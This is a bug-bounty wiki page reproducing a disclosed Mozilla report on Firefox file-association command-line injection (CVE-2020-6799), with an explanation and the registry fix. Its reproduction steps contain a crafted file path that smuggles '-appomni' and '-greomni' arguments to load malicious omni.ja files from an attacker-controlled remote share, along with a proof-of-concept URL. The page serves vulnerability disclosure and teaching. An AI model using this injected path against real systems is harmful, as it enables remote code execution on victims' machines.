Skip to content
RCE Disclosed report Advanced CVE-2020-6799

File association Remote Code Execution via command line parameter injection in Firefox

Firefox, when set as the default handler for a file type such as PDF, accepted extra command-line arguments injected through a crafted file path containing double quotes. An attacker could use this to load a malicious omni.ja archive from a remote share and achieve remote code execution.

Joshua Graham Follow

Originally disclosed on Mozilla

  • Fixed in 12 days
  • Paid in 32 days
  • Disclosed after 12 days
Text
Tested on Microsoft Windows 10 Enterprise version 10.0.17763 Build 17763

Using Firefox version 71.0 (32-bit)

Steps to reproduce (local only):

* Setup Firefox as Windows' default .pdf handler (right click a pdf file -> open with -> chose other -> select always open with Firefox)
* Open the run prompt (windows key + r) and run the following URL:
* \\\\poiu.xss.vg@ssl\a.txt" -appomni appomni.pdf -greomni \share\greomni.pdf

Steps to reproduce (via MS Excel):

* Setup Firefox as Windows' default .pdf handler (right click a pdf file -> open with -> chose other -> select always open with Firefox)
* visit https://poiu.xss.vg/oausdhvjzlxkcn/poc.html (this will open a CSV file in excel)
* Click the link in the excel document.
* Open the greomni.pdf file

Expected Result: Firefox ignores the shell activation command as additional command line arguments are present.

Actual Result: Firefox accepts the command and runs using the greomni and appomni files from the internet share.

Detailed Information:

This issue is very similar to bug 1530103 and bug 384384 except that it is by file type association as opposed to protocol association.

In Windows, it is possible to inject arbitrary arguments when Firefox is setup as the default file handler for any file type other than .html. This can result in remote code execution when the 'greomni' flag is injected. 

The attack vector is having a victim activate a URI using the file protocol (file://) or open a file in explorer where the file type's default handler is Firefox and there are double quotes in the path of the file. One way of fixing this issue is to add the 'osint' flag to the following registry key:

HKEY_CLASSES_ROOT\applications\firefox.exe\shell\open\command 

i.e. change:

* "C:\Program Files (x86)\Mozilla Firefox\firefox.exe" "%1"

to

* "C:\Program Files (x86)\Mozilla Firefox\firefox.exe"  -osint "%1"

The ‘osint’ flag in the command is supposed to ensure that Firefox ignores any command line arguments that have been injected when Firefox is activated via the Windows registry. The ‘osint’ flag was introduced in 2007 in response to the following bug: https://bugzilla.mozilla.org/show_bug.cgi?id=384384

RCE is achieved by introducing malicious code into the contents of files in the omni.ja archive. This is the same as discussed in bug 1530103.

Although it shouldn't be possible to inject double quotes in a file path in windows as the double quote character is illegal in a file path, Microsoft has confirmed that they won't be fixing this issue (https://www.zerodayinitiative.com/advisories/ZDI-19-1023/)

Credit:

Joshua Graham of TSS

The original report as published on Mozilla's Bugzilla, by Joshua Graham. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely Firefox did not use the 'osint' flag in its registered shell open command, so it honoured injected command-line arguments such as 'greomni' when launched via file association.

Impact

An attacker could achieve remote code execution by loading a malicious omni.ja archive from a remote share, though the report notes the attack is local and requires the victim to activate a crafted path.

What the attacker needed

Firefox set as default file handler; Victim opens a crafted file path; Attacker-controlled remote share

The fix

The registered shell open command should include the 'osint' flag so Firefox ignores injected command-line arguments.

How it was found

  1. Set Firefox as the default handler for .pdf files in Windows.
  2. Open the Windows run prompt and enter a crafted file path containing double quotes and injected arguments.
  3. Firefox launches using the appomni and greomni files from the remote share.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you double-click a file, Windows passes the file's path to the program that opens it. If that path contains quote characters, the program can mistake part of the path for extra instructions (command-line arguments). Here Firefox trusted those extra instructions, letting an attacker point it at a malicious file on a network share and run their code.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by Joshua Graham

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.